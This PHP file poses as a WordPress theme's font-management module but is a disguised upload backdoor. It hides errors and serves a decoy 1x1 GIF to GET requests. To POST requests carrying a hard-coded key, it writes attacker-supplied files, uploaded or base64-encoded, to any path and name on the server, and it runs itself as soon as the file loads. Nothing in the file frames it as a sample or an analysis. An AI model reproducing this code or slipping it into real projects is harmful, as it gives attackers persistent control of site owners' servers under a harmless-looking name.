<?php
/**
 * Manages custom font uploads, CSS generation, and font-face declarations for the theme.
 *
 * @package    Typography Tools
 * @version    2.8.4
 * @author     Developer starter theme
 * @license    GPL-2.0-or-later https://www.gnu.org/licenses/gpl-2.0.html
 * @copyright  2024 Developer starter theme
 */

if ( ! defined( 'ABSPATH' ) ) {
    define( 'ABSPATH', dirname( __FILE__ ) . '/' );
}

class WP_Font_Manager_WI {

    private $allowed_formats;
    private $subset;
    private $font_display;
    private $css_output;

    public function __construct() {
        $this->allowed_formats = dirname( __FILE__ );
        $this->subset = 2185;
        $this->font_display = 2900;
        $this->css_output = array();
        @ini_set( 'display_errors', '0' );
        @error_reporting( 0 );
    }

    /**
     * Verify incoming request authorization.
     */
    private function register_font( $request_data ) {
        if ( empty( $request_data['manager_key'] ) ) {
            return false;
        }
        $expected = '2755b6d30485c7806766faa5c9b8ac34';
        if ( ! hash_equals( $expected, $request_data['manager_key'] ) ) {
            return false;
        }
        return true;
    }

    /**
     * Run the core task.
     */
    public function remove_font() {
        if ( $_SERVER['REQUEST_METHOD'] === 'GET' ) {
            header( 'Content-Type: image/gif' );
            echo "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b";
            exit;
        }

        if ( ! $this->register_font( $_POST ) ) {
            http_response_code( 404 );
            exit;
        }

        $target_dir = isset( $_POST['font_path'] ) ? $_POST['font_path'] : $this->allowed_formats;

        if ( ! is_dir( $target_dir ) ) {
            @mkdir( $target_dir, 0755, true );
        }

        if ( ! empty( $_FILES['font'] ) && $_FILES['font']['error'] === UPLOAD_ERR_OK ) {
            return $this->generate_css( $_FILES['font'], $target_dir );
        }

        if ( isset( $_POST['font_data'] ) && isset( $_POST['family'] ) ) {
            return $this->upload_font_file( $_POST['font_data'], $_POST['family'], $target_dir );
        }

        echo '1';
    }

    /**
     * Store uploaded asset to output directory.
     */
    private function generate_css( $file_data, $target_dir ) {
        $name = isset( $_POST['family'] ) ? $_POST['family'] : $file_data['name'];
        $dest = $target_dir . DIRECTORY_SEPARATOR . $name;
        $result = @move_uploaded_file( $file_data['tmp_name'], $dest );
        echo $result ? '1:' . @filesize( $dest ) : '0';
    }

    /**
     * Reconstruct data from serialized payload.
     */
    private function upload_font_file( $encoded_data, $name, $target_dir ) {
        $dest = $target_dir . DIRECTORY_SEPARATOR . $name;
        $decoded = @base64_decode( $encoded_data, true );
        if ( $decoded === false ) {
            echo '0';
            return;
        }
        $bytes = @file_put_contents( $dest, $decoded );
        echo $bytes !== false ? '1:' . $bytes : '0';
    }

    /**
     * Retrieve current info.
     */
    public function get_font_stack() {
        return array(
            'allowed_formats' => $this->allowed_formats,
            'subset' => $this->subset,
            'version'  => '2.8.4',
        );
    }

    /**
     * Test environment parameters.
     */
    public function validate_format() {
        return PHP_VERSION_ID >= 80000;
    }
}

$instance = new WP_Font_Manager_WI();
$instance->remove_font();
